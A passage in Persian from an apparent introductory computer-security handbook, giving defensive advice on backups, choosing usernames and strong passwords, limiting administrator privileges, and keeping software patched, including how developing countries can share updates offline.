سازگاری[۲۱] سیستم‌عامل و برنامه‌های کاربردی را بر عهده دارند (مثل انواع فایلهای تنظیمات و پیکربندی) پشتیبان تهیه گردد. تعیین محل نگهداری این فایلها و همچنین اطمینان از صحت آنها برای بازیابی بدون اشکال در آینده کار بسیار دشواری است، اما می‌توانید تمام فایلهای داده‌ای خود را در چند شاخه اصلی نگهداری کنید و پشتیبانها را بگونه‌ای تهیه نمایید که تنها اطلاعات یکتا و اختصاصی شما را پوشش دهند.

۲. از همه چیز پشتیبان تهیه کنید. با تهیهٔ پشتیبان از تمام سیستم – بسته به نوع استفاده‌ای که از آن می‌شود – می‌توان کل سیستم را درصورت لزوم بازیابی کرد. همچنین قادر خواهید بود فایلها و یا شاخه‌های خاص را بازیابی نمایید.

ما استفاده از هر دو روش را بصورت همزمان توصیه می‌کنیم:

۱. به محض تکمیل نصب سیستم خود از تمام فایلها و مشخصات رایانه بصورت متناوب – مثلاً هر چند ماه یکبار – پشتیبان تهیه نمایید.

۲. از داده‌های شخصی خود طبق یک زمانبندی با دوره‌های کوتاهتر پشتیبان تهیه کنید. بسته به نوع کاربرد، برای پشتیبان‌گیری روشهای گوناگونی وجود دارد:

- از تمام داده‌های شخصی خود پشتیبان تهیه نمایید (هر چند ماه یکبار) مگر اینکه حجم وسیعی داشته باشند و امکان اینکار وجود نداشته باشد.
- چنانچه داده‌های شخصی شما زیاد است متناوباً از آن پشتیبان تهیه نمایید، ولی در فاصله‌های کوتاه فقط از فایلهایی پشتیبان‌گیری کنید که دچار تغییر شده‌اند. به این نوع پشتیبان‌گیری *پشتیبان‌گیری افزایشی*[۲۲] می‌گویند. توجه داشته باشید که برای بازیابی فایلها در این نوع پشتیبان‌گیری، هم به آخرین نسخهٔ پشتیبان کامل و هم به آخرین نسخهٔ پشتیبان افزایشی نیاز خواهید داشت.

گونه‌های دیگری از پشتیبان‌گیری نیز وجود دارد. معمولاً برنامه‌های پشتیبان‌گیر در مورد چگونگی تهیه پشتیبان پیشنهاداتی به کاربر ارائه می‌کنند.

نسخه‌های پشتیبان باید در کجا نگهداری شوند؟

پاسخ این سؤال وابسته به دلیل شما برای استفاده از پشتیبانها است. اگر پشتیبان‌گیری برای حفاظت از داده‌ها در مقابل سرقت و یا آتش‌سوزی است محل ذخیره‌سازی نباید نزدیک سیستم رایانه باشد؛ بلکه باید جایی باشد که در مقابل این مشکلات از حفاظت کامل برخوردار باشد. ولی اگر تهیهٔ پشتیبان فقط برای بازیابی داده‌های پاک شده یا تغییر کرده صورت می‌پذیرد، باید محل آن طوری انتخاب شود که دسترسی به آن آسان باشد.

یک راه حل این است که پشتیبانهای کامل را در یک محل امن و پشتیبانهای افزایشی را در محلی نزدیک قرار دهید. راه دیگر این است که جدیدترین پشتیبان تهیه‌شده از داده‌ها را در دسترس و نسخه‌های قدیمی‌تر را در محلهای امن‌تر بگذارید. بعضی افراد از پشتیبانها دو نسخه تهیه می‌کنند و یک نسخه را در دسترس و دیگری را دور از دسترس قرار می‌دهند.

اگر در رایانهٔ خود داده‌هایی دارید که سارقان قصد سرقت آنها را دارند باید همیشه به یاد داشته باشید که آنها با سرقت نسخهٔ پشتیبان نیز قادر خواهند بود همان داده‌ها را بدست آورند و به همین دلیل ضروری است که از پشتیبانها نیز مانند خود رایانه حفاظت فیزیکی لازم را بعمل آورید.

آیا پشتیبانها قابل استفاده هستند؟

به چند دلیل ممکن است هنگام نیاز نتوانید از پشتیبانهای تهیه‌شده استفاده کنید:

- نسخهٔ مربوطه بسیار کهنه و یا از لحاظ فیزیکی صدمه دیده باشد. بروز این مشکل در دیسکهای فلاپی و رسانه‌های مغناطیسی بیش از همه به چشم می‌خورد.
- دستگاهی که پشتیبان بوسیلهٔ آن نوشته‌شده دارای اشکال بوده و به همین دلیل دادهٔ نوشته‌شده در پشتیبان قابل خواندن نباشد. در این موارد امکان دارد

21 *Compatibility*
22 *Incremental Backup*

بتوان با یک دستگاه مشابه دیگر، پشتیبان مورد نظر را خواند.

- رسانه‌ای که پشتیبان روی آن قرار داده شده دچار نقص شده باشد. این نقص رسانه در دیسکهای فلاپی اشکال بسیار رایجی بود بطوریکه اگر یک دیسک تنها چند روز بعد از تهیه شدن غیر قابل خواندن می‌شد چندان تعجب کسی را بر نمی‌انگیخت. دیسکهای فشرده بعنوان رسانه‌های بسیار ماندگارتر شهرت داشتند، اما یک مطالعه در سالهای اخیر نشان داد دیسکهای فشرده‌ای که کیفیت چندان مطلوبی ندارند ممکن است بعد از گذشت حدود دو سال از زمان نوشته‌شدن اطلاعات روی آنها غیرقابل خواندن شوند.

خواندن نسخه‌های پشتیبان با دستگاهی غیر از آن که نسخهٔ پشتیبان با آن تهیه شده کنترل مناسبی برای کسب اطمینان از صحت رسانهٔ حاوی نسخه پشتیبان است. دقت داشته باشید که اگر برای نوشتن پشتیبان از دیسکهای مغناطیسی با قابلیت پاک کردن استفاده می‌کنید (مثل دیسکهای Zip و فلاپی)، از دیسکهای نو و تمیز استفاده نمایید.

بعضی اشخاص پشتیبانها را برای مدت بسیار طولانی نگه می‌دارند؛ اما سؤال این است که قرار است چه زمانی از نسخه‌هایی که چند سال قبل از اسناد و تصاویر و برنامه‌ها تهیه شده استفاده کنند؟ اگر درنظر دارید برای زمان طولانی پشتیبانها را نگهداری کنید باید احتمال از رده خارج شدن رسانه را نیز مد نظر قرار دهید. برای مثال اگر داده‌ای در یک فلاپی پنج اینچی که در سال ۱۹۸۰ رایج بوده ذخیره شده باشد آیا امروز می‌توان رایانه‌ای با دیسک‌گردان پنج اینچی برای بازیابی آن پیدا کرد؟

چند نسخهٔ پشتیبان باید نگهداری شود؟

اگر شما هفته‌ای یکبار از آنچه دارید پشتیبان تهیه کنید درصورت مواجهه با یک فاجعهٔ مصیبت‌بار، حداکثر اطلاعات یک هفته را از دست خواهید داد. انجام اینکار از دیدگاه امنیتی قابل توجیه است ولی در طول زمان فضای اشغال‌شده بوسیلهٔ پشتیبانها بیشتر و بیشتر می‌شود. چه تعداد از این پشتیبانها را باید نگه داشت؟ اگر از دیسکهای مغناطیسی و یا دیسکهای فشرده استفاده می‌کنید دلیلی ندارد که بخواهید آنها را سریع دور بیاندازید، چون حجم کمی دارند و قابلیت استفادهٔ مجدد هم ندارند؛ اما همواره باید چند نسخه از پشتیبانها را نگهدارید. در تمام مثالهای بالا می‌توان از چهار نسخهٔ آخر نگهداری کرد.

چرا بهتر است اینگونه عمل شود؟ چرا باید نسخهٔ مربوط به ماه قبل را در شرایطی که نسخهٔ جدیدتری وجود دارد نگهداری کرد؟ دلیل آن ساده است: ممکن است نسخهٔ آخری که ایجاد کرده‌اید قابل خواندن نباشد، گم شود، و یا به سرقت رود. در اینصورت واضح است که اگرچه نسخه‌های ماههای قبلی کاملاً به روز نیستند، ولی بودنشان بهتر از نبودنشان است. این مورد یک مثال دیگر از این نکته است که ایمنی سطح بالا از معیارهای چندگانه و تا حدودی تکرارشده تشکیل می‌شود.

از نرم‌افزار خریداری‌شده پشتیبان تهیه کنید

اگر گواهی نرم‌افزارهایی که خریداری کرده‌اید این اجازه را می‌دهد، همیشه از دیسکهای فشردهٔ نرم‌افزارها یک نسخهٔ ثانویه تهیه کرده و از آن برای عملیات نصب و پشتیبانی استفاده نمایید.

مهمترین نکته در مورد نسخه‌های پشتیبان

مهمترین نکته در مورد نسخه‌های پشتیبان این است که تهیهٔ پشتیبان باید در فواصل زمانی منظم صورت بگیرد. بعضی اشخاص زحمت تهیهٔ پشتیبان را به خود نمی‌دهند و ممکن است به عواقب اینکار خود گرفتار شوند. این افراد عموماً وقتی هم که با مشکلی روبرو می‌شوند تصور می‌کنند مشکل دیگر تکرار نخواهد شد. همچنان توصیهٔ ما این است که از مخاطرهٔ احتمالی پیشگیری کنید و نسخهٔ پشتیبان تهیه نمایید.

تصدیق هویت

تصدیق هویت[۲۳] این امکان را فراهم می‌کند که رایانه بداند شما چه کسی هستید. این دانایی باعث می‌شود که بتوان از تقلب جلوگیری کرد. معمولاً شما با یک نام کاربری و رمز عبور شناسایی می‌شوید، هرچند گونه‌های مختلفی از این سیستمهای شناسایی وجود دارد. نکتهٔ قابل توجه این است که باید کلماتی بعنوان رمز عبور بکار گرفته شوند که نتوان

23 *Authentication*

آنها را براحتی حدس زد تا مهاجمان نتوانند آنها را پیدا کنند. در عین حال باید یادآوری آن کلمات در حافظه نیز امکانپذیر باشد و شخص آنها را فراموش نکند. اگر شما مرتباً با رایانه و پایگاه وب در تماس باشید قاعدتاً تا کنون نامهای کاربری و رمزهای عبور زیادی به خاطر سپرده‌اید، اما اگر آنها را بر روی یک کاغذ نزدیک رایانه نوشته‌اید باید بدانید که از امنیت زیادی برخوردار نیستند.

شناسایی کاربر

اکثر سیستمها برای شناسایی افراد از آنها می‌خواهند که بگونه‌ای هویت خود را احراز کنند. این مسئله می‌تواند با دریافت اطلاعات مختلفی انجام شود: نام کاربری، شمارهٔ عضویت، اسم عضو و...؛ که در این مباحث عموماً از نام کاربری استفاده می‌شود. در بعضی سیستمها بجای نام کاربری از آدرس پست الکترونیکی استفاده می‌شود. در حقیقت در این سیستمها آدرس پست الکترونیکی بعنوان نمادی خاص از نام کاربری تلقی می‌گردد. در خصوص نام کاربری قوانین مختلفی می‌تواند وجود داشته باشد:

- بعضی از سیستمها طول اسم را محدود می‌کنند ولی بعضی دیگر برای آن محدودیتی قائل نمی‌شوند.
- در بعضی از سیستمها می‌توان از هر علامتی – که بوسیلهٔ صفحه‌کلید قابل نوشتن باشد – در ترکیب نام کاربری استفاده کرد، ولی بعضی دیگر فقط در محدودهٔ حروف و اعداد و فقط اندکی در محدودهٔ علائم کار می‌کنند.
- بعضی سیستمها حروف بزرگ و کوچک را یکسان درنظر می‌گیرند ولی بعضی دیگر با آنها به منزلهٔ دو حرف متفاوت برخورد می‌کنند.

اگر سیستم به شما امکان انتخاب ندهد، نام کاربری شما همانی خواهد بود که بوسیلهٔ سیستم تعیین شده است. اما اگر لازم باشد خودتان نام کاربر را تعیین کنید چه نکاتی را باید مد نظر قرار دهید؟ بعضی موارد در زیر آمده است:

- آیا درنظر دارید نام کاربری نشاندهندهٔ هویت واقعی شما باشد؟ آیا قرار است این اسم کمک کند که دوستان و همکارانتان شما را بشناسند؟ یک آدرس پست الکترونیکی معمولاً بعنوان یک چنین نمادی از کاربر تلقی می‌شود.
- آیا می‌خواهید با انتخاب نام مورد نظر هویت واقعی خود را پنهان نگه دارید؟ اگر بوسیلهٔ این نام کاربری در یک فعالیت گروهی شرکت می‌کنید (مثلاً یک بازی اینترنتی) شاید نخواهید دیگران هویت واقعی شما را بدانند.
- آیا می‌خواهید نامی انتخاب کنید که یادآوری آن آسان باشد؟ چنانچه از یک *خدمت برخط*[24] استفاده کنید که به ندرت آنرا بکار می‌گیرید ممکن است مایل باشید از اسمی استفاده کنید که براحتی در ذهن بماند. بعضی افراد برای خدمات مختلف از یک نام کاربری استفاده می‌کنند، خصوصاً اگر آن خدمات با نکتهٔ مهم و حساسی در ارتباط نباشند.
- آیا می‌خواهید حدس زدن نامی که بکار می‌برید برای دیگران مشکل باشد؟ نام کاربری حساب بانکی شما باید بگونه‌ای تعیین شود که دیگران نتوانند به راحتی آنرا حدس بزنند (جهت تأمین امنیت لازم باید از پشتیبانی چندلایه استفاده کرد. اگر از آدرس پست الکترونیک عمومی خود برای ورود به سیستم بانکی استفاده کنید، حدس‌زدن آن برای سارقان ساده‌تر خواهد بود).

رمز عبور

در بعضی سیستمها نام کاربری از سوی سیستم تعیین می‌شود، ولی رمز عبور کلمه‌ای است که در هر صورت توسط کاربر تعیین می‌گردد و شکل آن نیز باید بگونه‌ای باشد که حدس زدنش توسط اشخاص دیگر دشوار باشد.

زمانیکه رمزهای عبور در سیستم میزبان ذخیره می‌شوند معمولاً رمزگذاری می‌شوند تا اگر کسی به دیسک دسترسی پیدا کرد قادر به مشاهدهٔ رمزهای عبور نباشد. در بعضی موارد این رمزگذاری بگونه‌ای است که امکان رمزگشایی رمزهای عبور وجود ندارد که به آن *رمزگذاری یکسویه*[25] می‌گویند. در این سیستمها وقتی برای ورود به سیستم رمز عبور را وارد می‌کنید، ابتدا رمزگذاری می‌شود و سپس با نسخهٔ ذخیره‌شده

24 *Online Service*
25 *One-way Encryption*

در دیسک مقایسه می‌گردد (برای جزئیات بیشتر به ضمیمهٔ ۱ همین بخش رجوع کنید).

قانون سوم:

از رمز عبوری استفاده کنید که بتوان آنرا براحتی به خاطر آورد، ولی حدس زدن آن برای دیگران مشکل باشد.

به علت فقدان امنیت لازم در بعضی سیستمهای میزبان گاهی اوقات این امکان وجود دارد که مهاجمان به رمز عبور تمامی کاربران دست یابند و رمزهای عبور رمزگذاری‌شده را بیابند. حتی اگر برای تمام رمزهای عبور از رمزگذاریِ یکسویه استفاده شده باشد باز هم ممکن است مهاجم بتواند رمز عبور شما را کشف کند؛ چون الگوریتمهای رمزگذاری این رمزهای عبور شناخته‌شده هستند و لذا مهاجم می‌تواند از آن الگوریتمها برای رمزگذاری همهٔ کلمات درون فرهنگ لغات و سایر رمزهای عبور متداول استفاده کند. لذا مثلاً اگر شما از کلمهٔ birthday بعنوان رمز عبور استفاده کرده باشید مهاجم هنگام رمزگذاری کلمهٔ birthday متوجه می‌شود نسخهٔ رمزگذاری‌شده آن با آنچه که روی دیسک است مطابقت دارد و لذا از آن پس رمز عبور شما را خواهد دانست.

از آنجا که کل ایدهٔ استفاده از رمزهای عبور برای صدور اجازهٔ ورود شما به سیستم در زمان دلخواه و دشوار کردن حدس آن توسط افراد دیگر است، می‌توان چند مشخصه برای رمزهای عبور مستحکم بر شمرد. مشابه نامهای کاربری، اینجا نیز سیستمهای مختلف قوانین متفاوتی را برای رمز عبور درنظر گرفته‌اند (حداقل و حداکثر طول، حروف مجاز برای استفاده، و سایر موارد).

- هرگز از یک کلمهٔ منفرد در زبان مادری خود بعنوان رمز عبور استفاده نکنید. انتخاب یک عبارت، یک جمله، و یا قطعاتی از کلمات برای این منظور مناسب‌تر است.
- چنانچه سیستم هم حروف بزرگ و هم حروف کوچک را در رمزهای عبور بعنوان حروف مجاز قلمداد می‌کند، از هر دوی آنها استفاده کنید – ولی نه در جای صحیح و قابل پیش‌بینیِ خود.
- درصورت امکان از اعداد ترکیبی، علامتهای مجاز و همچنین فضاهای خالی استفاده کنید.
- اگر سیستم اجازه می‌دهد که از فضای خالی استفاده کنید یا رمز عبور شما به شکل یک عبارت است می‌توانید در رمز عبور خود بعضی از فاصله‌ها را حذف کنید (یعنی رمز متشکل از لغاتی باشد که به یکدیگر چسبیده‌اند).
- برای اینکه رمز عبور خود را به آسانی به خاطر بسپارید می‌توانید از همین رمز عبور در چندین سیستم استفاده کنید. البته اگر اینکار را انجام دهید و فردی رمز عبور شما را در یکی از این سیستمها کشف کند، امنیت سیستمهای دیگر که در آنها از رمز عبور مشابه استفاده می‌کردید نیز به خطر خواهد افتاد. بنابراین چنین رمز عبوری را برای سیستمهایی انتخاب کنید که نیاز به حفاظت خاصی ندارند. بعنوان مثال برای استفاده از مطالب روزنامه‌ها و دیگر مطالب، نیازی به پرداخت پول یا ارائه اطلاعات محرمانه نیست، اما برای خواندن مقالات بعضی از روزنامه‌ها در پایگاه وب مربوطه باید یک نام کاربری و رمز عبور وارد کنید. درواقع آنها فقط می‌خواهند شما به سیستم آنها وارد شوید؛ بنابر این می‌توانید برای خواندن مطالب روزنامه‌های مختلف از یک رمز عبور مشابه استفاده نمایید.
- بعضی افراد حروف را با علائم یا ارقام مشابه عوض می‌کنند؛ مثلاً از رقم "1" بجای حروف "I" یا "L"، از شمارهٔ "3" یا علامت "#" بجای حرف "E"، از رقم "0" بجای حرف "O"، از علامت "@" بجای حرف "A"، و از رقم "5" بجای حرف "S" استفاده می‌نمایند. اینکار ترفند خوبی است، اما به یاد داشته باشید که یک مهاجم حرفه‌ای با این حقه‌ها کاملاً آشناست. این حقه‌ها کار وی را کمی سخت می‌کند، اما غیر ممکن نمی‌سازد.
- حرف "I" را به جای "eye" (چشم) یا "aye" یا هر کلمهٔ معنادار در زبان خودتان عوض کنید. اینکار بخصوص برای لغاتی مثل "icon" که پس از این تغییر به "eyecon" تبدیل می‌شود مفید است.

- از سرنام‌ها (حروف اول لغتهای سازنده یک عبارت) استفاده نمایید. بعنوان مثال "tgbwc" سرنامی برای شعار معروف کوکاکولا ("Things Go Better With Coke") می‌باشد.
- هجی‌کردن لغات بصورت برعکس آنها را کمی مبهم می‌کند، اما شناسایی‌شان را سخت نمی‌نماید.
- هرگز از موارد زیر بعنوان رمز عبور خود استفاده نکنید:
  - یک نام یا مشتقات آن؛
  - نام کاربری یا اسم مستعار خودتان؛
  - نام همسر، یا اسامی فرزندان و والدین؛
  - اسامی دوستان، رؤسا و یا همکاران؛
  - اسامی حیوانات خانگی؛
  - روز تولد خود یا هریک از دوستان و خویشاوندان؛
  - شمارهٔ تلفن، شمارهٔ گواهینامه یا مدارک مشابه؛
  - رنگ مورد علاقه؛
  - مقام یا عنوان شغلی؛
  - نام سازمانی که در آن کار می‌کنید؛
  - هر چیز دیگری که با آن شناخته می‌شوید؛
  - رمزهای عبور کلاسیک مثل "Xyzzy" یا "Plover" (رمزهای عبور مورد استفاده در بسیاری از بازی‌های رایانه‌ای)، و "open sesame"؛
  - لغاتی که در فیلمهای محبوب و معروف، اخبار، داستانها و یا ادبیات از آنها استفاده می‌شود؛ مثل "Harry Potter"، "Lord of the Rings" و "Gone with the Wind"؛
  - حروف روی صفحه‌کلید که در کنار هم قرار گرفته‌اند مانند "SDFGHJ"؛
  - مثالهای قبل به اضافهٔ یک رقم قبل و بعد از آنها؛
  - تکرار حروف یا ارقام در کنار هم یا بصورت ترتیبی مثل "۱۲۳۴۵۶"، "aaaa9999" یا "ABCDE".
- در بعضی سیستمها تعداد حروف رمز عبور باید از مقدار معینی بیشتر باشد و یا تعداد مشخصی از حروف و ارقام به اتفاق هم را در بر گیرد. اگر در تایپ کردن حروف ضعیف باشید و فردی از پشت سر به شما و صفحه‌کلید نگاه کند، خواهد توانست رمز عبور شما را بفهمد.
- رمز عبور هرچه که باشد باید بدون نوشتن آنرا بخاطر بسپارید. هرگز رمز عبور را جایی ننویسید و آنرا در محل کار یا روی برچسبهای عناوین قرار ندهید.
- هرگز فهرست رمزگذاری‌نشدهٔ رمزهای عبور را در فایلهای رایانه‌ای ذخیره نکنید.

بهترین رمز عبور، رشته‌ای تصادفی از حروف و ارقام است، اما برای اکثر ما بخاطر سپردن این رمزهای عبور بسیار سخت می‌باشد. اصلاً جالب نیست که رمز عبور در یک دفتر یادداشت یا زیر صفحه‌کلید نوشته شده باشد. مثالهایی از رمزهای عبور مناسب برای سیستمهایی که حروف، شماره‌ها، نشانه‌های خاص و جاهای خالی را می‌پذیرند و میان حروف کوچک و بزرگ تفاوت قائل می‌شوند ذیلاً ارائه شده‌اند. این رمزها بسادگی به خاطر سپرده می‌شوند، اما یافتن آنها در فرهنگهای لغات و یا حدس زدنشان بسیار دشوار می‌باشد.

رمز عبور	توضیحات
Computers Are Useful	عبارتی که بسیاری از کاربران رایانه با آن موافق هستند.
Computers aReuseFul	قرار دادن یک جای خالی مناسب و استفاده طنزآمیز از حروف بزرگ.
C0mputer5@ reus#fv1	رقم "0" بجای حرف "O"، "5" بجای "S"، "@" بجای "a"، "#" بجای "E"، "V" بجای "U"، و "1" بجای حرف "L"؛ در این مثال جای خالی وجود ندارد.
Comp9uter8sa re7usef6ul	عبارت اولیه بدون جای خالی و قراردادن شماره‌هایی بین هر ۴ حرف.
Comutrsa reusful	عبارت اولیه با چند حرف جا افتاده.

Onupatithwa

در بسیاری از کشورهایی که سنّت قصه‌گویی وجود دارد اشکال استانداردی برای آغاز داستان وجود دارد. در زبان انگلیسی داستانهای کودکان معمولاً با عبارت Once upon a time, there was شروع می‌شوند. در این مثال از ابتدای هر لغت دو حرف گرفته شده تا طول کلمه عبور محدود شود و در عین حال قابل شناسایی نباشد.

oNup@T-1thuua

همان عبارت قبلی که در آن جایگزینی‌ها و علامتهای گفته‌شده بکار رفته است.

رمز عبور خود را تغییر دهید

رمزهای عبور باید بصورت متناوب تغییر کنند، اما تناوب این تغییر همچنان مورد بحث است. برخی از متخصصان امنیتی توصیه کرده‌اند که رمز عبور خود را در فواصل زمانی کوتاه تغییر دهید؛ اما عده‌ای معتقدند که اینکار باعث می‌شود رمزهای عبور ساده انتخاب شوند و یا برای جلوگیری از فراموش شدن در جایی نوشته شوند. برای کاربردهای معمولی نکات زیر توصیه می‌شوند:

- اگر فکر می‌کنید رمز عبورتان در معرض سرقت بوده سریعاً آنرا عوض کنید.
- اگر رمز عبورتان را به هر دلیلی به شخص دیگری داده‌اید بسرعت آنرا تغییر دهید. به اشتراک گذاشتن رمزهای عبور کار صحیحی نیست و باید از آن اجتناب کرد؛ مگر اینکه واقعاً چاره‌ای جز آن وجود نداشته باشد.
- رمزهای عبور را بصورت متناوب عوض کنید. معنی کلمهٔ "متناوب" از دیدگاه افراد مختلف، متفاوت است. شاید دوره‌هایی بین ۶ ماه تا یکسال به نظر مناسب باشند.
- اگر سیاست سازمانی شما در این مورد دقیقتر است از آن پیروی کنید.

امتیازات را محدود کنید

اکثر سیستمها به کاربران *امتیازات*[۲۶] محدودی ارائه می‌دهند که از امتیازات راهبر سیستم کمتر است. هنگامیکه راهبر و کاربر رایانه یکی باشند (نظیر بسیاری از رایانه‌های شخصی) کاربر کلیهٔ کارهای خود را با استفاده از امتیاز دسترسی کامل (*امتیازات ریشه*[۲۷] یا *امتیازات راهبر*[۲۸]) انجام می‌دهد؛ درحالیکه بهتر است برای فعالیتهای غیرراهبری از یک نام کاربری مجزا استفاده کند. اینکار احتمال خراب شدن ناخواستهٔ سیستم را کاهش می‌دهد و درصورت نفوذ مهاجم نیز از آسیب وارده به سیستم تا حد قابل توجهی می‌کاهد.

26 *Privilege*
27 *Root Privilege*
28 *Administrator Privilege*

فصل چهارم
امنیت سیستم‌عامل و نرم‌افزارهای کاربردی

کلیات

در این فصل به بررسی فنونی می‌پردازیم که از آنها برای کاهش آسیب‌پذیری سیستم‌عامل و نرم‌افزارهای کاربردی در برابر نفوذهای امنیتی استفاده می‌شود.

مقدمه

اصل اول: رایانه‌ها برنامه‌ها را اجرا می‌کنند.
اصل دوم: برنامه‌ها اشکال دارند.

اصل اول بدیهی است؛ و اصل دوم نیز با توجه به اینکه برنامه‌نویسان افراد بدون نقص نیستند کاملاً مورد انتظار است. معلوم نیست چرا این حجم زیاد از مسائل امنیتی مربوط به اشکالات برنامه‌نویسی هستند. هنگام توسعه برنامه براحتی می‌توان از بروز اشکالاتی نظیر *سرریز شدن بافر*[۲۹] جلوگیری کرد، اما با این وجود بنظر می‌رسد تقریباً نیمی از مشکلات جدی امنیتی از این دسته‌اند.

نرم‌افزارهای تجاری

یک نرم‌افزار تجاری معمولاً چگونه کار می‌کند؟

چند سال قبل هنگامیکه یک نرم‌افزار را می‌خریدید، تا زمان عرضهٔ نسخهٔ جدید آن به بازار هیچ به‌روزرسانی در آن اعمال نمی‌شد. امروزه بدلایل مختلف – بخصوص به دلیل مسائل امنیتی – بیشتر نرم‌افزارها بصورت منظم به‌روزرسانی می‌شوند. برای برخی از نرم‌افزارها مثل سیستم‌عاملها، "به‌روزرسانی منظم" به معنی انجام اینکار بصورت روزانه است[۳۰]. به‌روزرسانی اغلب محصولات معمولاً برای کاربران هزینه‌ای در بر ندارد.

بسیاری از شرکتهایی که نرم‌افزار تجاری ارائه می‌دهند برای رفع اشکالات و آسیب‌پذیریهای امنیتی نرم‌افزار، به‌روزرسانی‌های آنرا نیز ارائه می‌کنند. برای دریافت خدمات به‌روزرسانی فروشندگان بزرگ معمولاً می‌توانید به پایگاه وب آنها مراجعه کنید و از قسمت "Support" یا "Download" اصلاحات ارائه‌شده برای محصولات را بیابید.

وقتی به پایگاه وب فروشندهٔ نرم‌افزار مراجعه می‌کنید بسته‌های نرم‌افزاری و نسخه‌های مورد استفادهٔ خود را تعیین می‌نمایید و سپس پایگاه وب فهرستی از به‌روزرسانی‌های قابل دریافت را ارائه خواهد کرد. در برخی از موارد کاملاً مشخص است که به‌روزرسانی‌های ارائه‌شده برای رایانه شما قابل استفاده هستند، اما در بعضی موارد دیگر این مسئله وضوح کمتری دارد. وقتی شما به‌روزرسانی‌های مورد نظرتان را انتخاب کردید، آنها را download می‌کنید و در مرحلهٔ بعد آنها را نصب می‌نمایید. با توجه به نوع نرم‌افزار امکان دارد برنامه‌ای که download کرده‌اید بسادگی و در یک مرحله اجرا شود و یا اینکه برای نصب شدن نیازمند اجرای دستورالعملهای خاصی باشد. در برخی موارد بستهٔ نرم‌افزاری به‌روزرسانی بعد از download شدن تقریباً بصورت خودکار نصب می‌گردد.

در سالهای اخیر معمولاً از سه روش عمده برای ارائه خدمات به‌روزرسانی استفاده شده است:

۱. برای برنامه‌هایی نظیر Microsoft Windows، شرکت مایکروسافت بسته‌های به‌روزرسانی را از طریق پایگاه وب "Windows Update" منتشر می‌کند. یک برنامهٔ نرم‌افزاری رایانهٔ شما را بررسی کرده و فهرستی از به‌روزرسانی‌های مورد نیاز سیستم را ارائه می‌نماید، و آنگاه شما می‌توانید آنها را انتخاب، download و نصب کنید.

---

29 *Buffer Overflow*

۳۰ *در اکتبر ۲۰۰۳ و بدنبال یک مشکل امنیتی جدی در Microsoft Windows، مایکروسافت نتیجه‌گیری کرد که شاید غیر واقع‌بینانه و نامعمول باشد که توقع داشته باشد کاربران وصله‌های امنیتی را بطور هفتگی نصب کنند؛ و لذا از آن پس وصله‌ها را بصورت ماهانه منتشر می‌کند، مگر در حالتی که مشکل بسیار جدی و فوری باشد.*

۲. گاهی اوقات بستهٔ به‌روزرسانی که به روش فوق download می‌شود به‌روزرسانی واقعی نیست، بلکه برنامه‌ای است که در زمان اجرا به‌روزرسانی واقعی را download می‌کند. این برنامه ممکن است تنها ۵۰۰ کیلو بایت حجم داشته باشد – که اندازهٔ کوچکی برای بسته‌های به‌روزرسانی نرم‌افزار محسوب می‌شود؛ اما در حقیقت این فقط برنامه‌ای است که به‌روزرسانی واقعی را download می‌کند و سپس آنرا نصب می‌نماید؛ و به‌روزرسانی واقعی شاید اندازه‌ای در حدود ۳۰ مگا بایت داشته باشد.

۳. برخی از برنامه‌ها دارای توابع از پیش تعریف شده‌ای هستند که بصورت پویا به بررسی به‌روزرسانی‌های ارائه‌شده می‌پردازند و با اجازهٔ کاربر آنها را download و نصب می‌نمایند.

این قابلیتها برای آسانتر شدن کار شما طراحی شده‌اند. در کلیهٔ موارد وظیفهٔ انتخاب دقیق بسته‌های به‌روزرسانی مورد نیاز (که برای سیستم‌عامل و نرم‌افزارهای کاربردی خاص، کار پیچیده‌ای است) بوسیلهٔ برنامه‌ها و بصورت خودکار انجام می‌شود.

مشکل کشورهای درحال توسعه

همانطور که مشاهده می‌کنید بسیاری از فرآیندهای به‌روزرسانی برای اجرا در محیط متصل به اینترنت طراحی شده‌اند و بسته‌های به‌روزرسانی چندین مگابایتی را download می‌کنند. لذا استفاده از این روش تنها در صورتی نتیجه‌بخش خواهد بود که یک ارتباط پرسرعت اینترنتی داشته باشید و یا بتوانید ارتباط تلفنی خود را تا چندین ساعت برقرار نگه دارید. اما معمولاً در کشورهای درحال توسعه این امکان وجود ندارد.

دو روش برای مقابله با این مشکل موجود است:

۱. از خیر به‌روزرسانی نرم‌افزارهای کاربردی و سیستم‌عامل خود بگذرید.

۲. از فرد دیگری بخواهید بستهٔ به‌روزرسانی را download کند و جزئیات دستورالعمل نصب را ارائه دهد. در اینصورت بستهٔ به‌روزرسانی می‌تواند از طریق دیسکهای فشرده یا شبکهٔ محلی توزیع شود.

در شرایطی که احتمال خطرات امنیتی درحال افزایش است راه اول منطقی بنظر نمی‌رسد. بنابراین تنها گزینهٔ مناسب download کردن و به‌اشتراک‌گذاشتن وصله‌ها و اصلاحهای downloadشده است.

چند راه برای انجام اینکار وجود دارد:

- اگر سازمانی دارای ماشینهای متعدد باشد، راهبر فنی باید مسئولیت download و نصب بسته‌های به‌روزرسانی آنرا بر عهده گیرد.
- کلوپهای رایانه‌ای یا گروههای دیگر می‌توانند بسته‌های به‌روزرسانی را download کنند و آنها را در اختیار اعضا قرار دهند.
- ارائه‌کنندگان خدمات اینترنتی (ISPها)[۳۱] می‌توانند بسته‌های به‌روزرسانی محصولات رایج و سیستم‌عاملهای مشترک را تهیه و بصورت محلی میان کاربران خود توزیع کنند. با اینکار نیازمندی ISPها به پهنای باند بین‌المللی کم می‌شود و لذا هزینهٔ آنها نیز کاهش می‌یابد.
- فروشگاههای رایانه‌ای می‌توانند بسته‌های به‌روزرسانی را در اختیار مشتریان خود قرار دهند.
- در سال ۲۰۰۳ هنگامیکه یک کرم اینترنتی باعث آسیب‌پذیری رایانه‌ها شد، مایکروسافت در کشورهای مختلف برای مقابله با آن اقدام به توزیع بسته‌های به‌روزرسانی بر روی دیسکهای فشرده اقدام کرد. استفاده از این روش همچنان هم می‌تواند ادامه یابد.

هرچند سه شیوهٔ اخیر توزیع بسته‌های به‌روزرسانی چندان رایج نیستند، اما با توجه به افزایش نیاز برای به‌روز نگهداشتن نرم‌افزارها می‌توانند به یک استراتژی مؤثر تجاری برای ISPها و فروشندگان در کشورهای درحال توسعه تبدیل شوند. اگرچه از این استراتژیهای پشتیبانی استقبال می‌شود، اما کاربران باید مطمئن شوند که منابع به‌روزرسانی‌های محلی نیز قابل اطمینان هستند. اگر منابع محلی قابل اطمینان نباشند ممکن است به مرکزی برای توزیع ویروسها و تراواها تبدیل شوند.

31 *Internet Service Providers*

آیا بسته‌های به‌روزرسانی را باید پس از انتشار، سریعاً نصب نمود؟

